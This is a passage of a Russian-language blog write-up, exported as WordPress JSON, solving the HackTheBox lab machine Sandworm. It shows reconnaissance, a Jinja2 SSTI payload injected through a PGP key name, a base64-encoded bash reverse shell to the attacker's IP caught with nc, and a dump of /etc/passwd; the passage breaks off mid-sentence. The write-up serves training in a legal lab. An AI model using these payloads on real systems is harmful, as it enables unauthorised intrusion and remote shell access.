{"id":876,"date":"2023-11-18T18:00:00","date_gmt":"2023-11-18T15:00:00","guid":{"rendered":"https:\/\/seq.team\/?p=876"},"modified":"2025-12-02T15:16:19","modified_gmt":"2025-12-02T12:16:19","slug":"razbor-hackthebox-sandworm-medium","status":"publish","type":"post","link":"https:\/\/seq.team\/en\/blog\/razbor-hackthebox-sandworm-medium\/","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 HackTheBox &#8211; Sandworm (Medium)"},"content":{"rendered":"\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-9d6595d7 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c:<\/td><td>Medium<\/td><\/tr><tr><td>\u041e\u0421:<\/td><td>Linux<\/td><\/tr><tr><td>\u0411\u0430\u043b\u043b\u044b:<\/td><td>30<\/td><\/tr><tr><td>IP:<\/td><td>10.10.11.218<\/td><\/tr><tr><td>\u0422\u0435\u0433\u0438:<\/td><td>PGP, SSTI, Firejail, SUID Binary, Code Analysis, CVE-2022-31214<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\"><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 PGP \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043a SSTI. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SSTI \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code><strong>atlas<\/strong><\/code> \u0438\u0437-\u0437\u0430 \u0440\u0430\u0431\u043e\u0442\u044b <code>Firejail<\/code>. \u0414\u0430\u043b\u0435\u0435, \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 (<code>\/.config\/httpie\/sessions\/localhost_5000\/admin.json<\/code>) \u043d\u0430\u0448\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c SSH \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 <code><strong>silentobserver<\/strong><\/code>, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0438\u0441\u044c \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0435\u043c\u0443 \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0432 <code>\/opt\/tipnet<\/code> \u0438 \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0444\u043e\u043d\u043e\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044d\u0442\u043e\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043e\u0442 \u043b\u0438\u0446\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code><strong>atlas<\/strong><\/code> \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0423\u0417 <code><strong>atlas<\/strong><\/code>. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0441\u0447\u0451\u0442\u0435, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e <code>CVE-2022-31214<\/code>, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a <code><strong>root<\/strong><\/code> \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0444\u043b\u0430\u0433\u0443.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0424\u0430\u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0435\u043b\u0438: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nmap -sS -p- 10.10.11.218<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT      STATE   SERVICE\n22\/tcp    open    ssh\n80\/tcp    open    http\n443\/tcp   open    ssl\/http\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e: <code>nmap -sVC -O -p22,80,443 10.10.11.218<\/code><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>nmap -sVC -O -p22,80,3000 10.10.11.218<\/code><\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n22\/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)\n|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)\n80\/tcp  open  http     nginx 1.18.0 (Ubuntu)\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to https:\/\/ssa.htb\/\n443\/tcp open  ssl\/http nginx 1.18.0 (Ubuntu)\n| ssl-cert: Subject: commonName=SSA\/organizationName=Secret Spy Agency\/stateOrProvinceName=Classified\/countryName=SA\n| Not valid before: 2023-05-04T18:03:25\n|_Not valid after:  2050-09-19T18:03:25\n|_http-title: 400 The plain HTTP request was sent to HTTPS port\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n<\/pre><\/div>\n\n\n<p>\u0421\u0440\u0430\u0437\u0443 \u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043e\u043c\u0435\u043d \u0432 <code>\/etc\/hosts<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# HTB\n10.10.11.218    saa.htb\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u043d\u0430 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 &#8211; \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u0438 \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image.png\" alt=\"\" class=\"wp-image-878\" width=\"800\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u044d\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ngobuster dir -u https:\/\/ssa.htb -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -k\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/contact              (Status: 200) &#x5B;Size: 3543]\n\/about                (Status: 200) &#x5B;Size: 5584]\n\/login                (Status: 200) &#x5B;Size: 4392]\n\/view                 (Status: 302) &#x5B;Size: 225] &#x5B;--&amp;gt; \/login?next=%2Fview]\n\/admin                (Status: 302) &#x5B;Size: 227] &#x5B;--&amp;gt; \/login?next=%2Fadmin]\n\/guide                (Status: 200) &#x5B;Size: 9043]\n\/pgp                  (Status: 200) &#x5B;Size: 3187]\n\/logout               (Status: 302) &#x5B;Size: 229] &#x5B;--&amp;gt; \/login?next=%2Flogout]\n\/process              (Status: 405) &#x5B;Size: 153]\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>https:\/\/ssa.htb\/pgp<\/code> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n-----BEGIN PGP PUBLIC KEY BLOCK-----\nmQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G\/APBzGiTN3m140P9pOcA2VpgX\n&#x5B;...]\nFxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq\/mr8o8bUfHh=P8U3\n-----END PGP PUBLIC KEY BLOCK-----\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SSTI Jinja2<\/h3>\n\n\n\n<p>\u041c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 <code>https:\/\/ssa.htb\/guide<\/code> \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043f\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044e\/\u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PGP-\u043a\u043b\u044e\u0447\u0435\u0439:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-1.png\" alt=\"\" class=\"wp-image-881\" width=\"700\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c \u043a SSTI. \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c gpg-\u043a\u043b\u044e\u0447 \u0441 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0432 \u043f\u043e\u043b\u0435 \u0438\u043c\u0435\u043d\u0438:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ngpg --gen-key\ngpg -a -o public.key --export evil\necho 'life-time' | gpg --clear-sign\ngpg --edit-key evil@gmail.com\ngpg &amp;gt; adduid\n\u0421\u043c\u0435\u043d\u0438\u043c \u0438\u043c\u044f \u043d\u0430: \u2192 {{7*7}} \u2190 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f SSTI \ngpg &amp;gt; trust\ngpg &amp;gt; uid 1\ngpg &amp;gt; deluid\ngpg &amp;gt; save\n<\/pre><\/div>\n\n\n<p>\u0414\u0430\u043b\u0435\u0435, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c PGP \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 Encrypt Message. \u042d\u0442\u043e\u0442 \u0436\u0435 \u043a\u043b\u044e\u0447 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432\u0441\u0442\u0430\u0432\u0438\u043c \u0432 \u043f\u043e\u043b\u0435 Public Key \u0438 Signed Text. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nSignature Verification Result\nSignature is valid! &#x5B;GNUPG:] NEWSIG evil@gmail.com:Signature made\n&#x5B;...]\ngpg: Good signature from &quot;49&quot; &#x5B;unknown]\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u0414\u0430\u043b\u0435\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 <code>{{7*'7'}}<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0442\u0435\u043c\u043f\u043b\u0435\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c  \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u0434\u043e <code>Jinja2<\/code> \u0438\u043b\u0438 <code>Twig<\/code>. <\/p>\n\n\n\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f Reverse Shell \u0432 base64: <code>echo \"bash -i &gt;&amp; \/dev\/tcp\/10.10.16.10\/7331 0&gt;&amp;1\" | base64<\/code><\/p>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438: <code> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC83MzMxIDA+JjEK<\/code><\/p>\n\n\n\n<p>\u0417\u0430\u0442\u0435\u043c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SSTI \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043b\u044f Jinja2 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u044e\u0447\u0430 PGP, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c &quot;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi80NDQ0IDA+JjEK | base64 -d | bash&quot; ').read() }\n<\/pre><\/div>\n\n\n<p>\u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u0438\u043c\u0435\u043d\u0438 \u0432 \u043a\u043b\u044e\u0447\u0435, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u044c. \u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432 \u043f\u043e\u0440\u0442 7331 \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>nc -nvlp 7331<\/code> \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 <code><strong>atlas<\/strong><\/code>:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-4.png\" alt=\"\" class=\"wp-image-886\" width=\"700\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f silentobserver<\/h3>\n\n\n\n<p>\u0412\u044b\u0432\u0435\u0434\u0435\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>cat \/etc\/passwd<\/code> \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c <code><strong>silentobserver<\/strong><\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:106::\/nonexistent:\/usr\/sbin\/nologin\nsyslog:x:104:110::\/home\/syslog:\/usr\/sbin\/nologin\n_apt:x:105:65534::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:106:111:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nuuidd:x:107:112::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:108:113::\/nonexistent:\/usr\/sbin\/nologin\nlandscape:x:109:115::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:110:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:111:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nlxd:x:998:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nusbmux:x:112:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\nfwupd-refresh:x:113:118:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmysql:x:114:120:MySQL Server,,,:\/nonexistent:\/bin\/false\nsilentobserver:x:1001:1001::\/home\/silentobserver:\/bin\/bash\natlas:x:1000:1000::\/home\/atlas:\/bin\/bash\n_laurel:x:997:997::\/var\/log\/laurel:\/bin\/false\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0440\u044f\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 Linux \u0443\u0442\u0438\u043b\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0448\u0438\u0431\u043a\u0443 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\nCould not find command-not-found database. Run 'sudo apt update' to populate it.\ncommand_name: command not found\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0432\u043e\u0434\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c 